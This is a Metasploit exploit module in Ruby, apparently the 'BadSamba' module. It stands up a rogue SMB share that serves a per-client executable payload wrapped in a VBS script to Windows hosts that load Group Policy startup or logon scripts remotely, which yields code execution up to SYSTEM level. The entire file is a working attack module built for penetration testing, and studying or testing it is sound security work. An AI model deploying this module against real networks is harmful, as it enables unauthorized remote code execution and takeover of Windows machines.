group_policy_startup.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::SMB::Server::Share

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Group Policy Script Execution From Shared Resource',
        'Description' => %q{
          This is a general-purpose module for exploiting systems with Windows Group Policy
          configured to load VBS startup/logon scripts from remote locations. This module runs
          a SMB shared resource that will provide a payload through a VBS file. Startup scripts
          will be executed with SYSTEM privileges, while logon scripts will be executed with the
          user privileges. Have into account which the attacker still needs to redirect the
          target traffic to the fake SMB share to exploit it successfully. Please note in some
          cases, it will take 5 to 10 minutes to receive a session.
        },
        'Author' => [
          'Sam Bertram <sbertram[at]gdssecurity.com>', # BadSamba
          'juan vazquez' # msf module
        ],
        'References' => [
          ['URL', 'http://blog.gdssecurity.com/labs/2015/1/26/badsamba-exploiting-windows-startup-scripts-using-a-maliciou.html'],
          ['URL', 'https://github.com/GDSSecurity/BadSamba']
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Privileged' => false,
        'Platform' => 'win',
        'Payload' => {
          'Space' => 2048,
          'DisableNops' => true
        },
        'Targets' => [
          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2015-01-26',
        'Notes' => {
          'AKA' => ['badsamba'],
          'Stability' => UNKNOWN_STABILITY,
          'Reliability' => UNKNOWN_RELIABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILE_NAME', [ false, 'VBS File name to share (Default: random .vbs)'])
      ]
    )

    deregister_options('FILE_CONTENTS')
  end

  def setup
    super
    self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(rand(4..6))}.vbs"
    @custom_payloads = {}
    print_status("File available on #{unc}...")
  end

  def on_client_connect(client)
    super(client)

    unless @custom_payloads[:client]
      p = regenerate_payload(client)
      exe = p.encoded_exe
      @custom_payloads[client] = Msf::Util::EXE.to_exe_vbs(exe)
    end
  end

  def get_file_contents(client:)
    contents = @custom_payloads[client] || super(client: client)

    contents
  end
end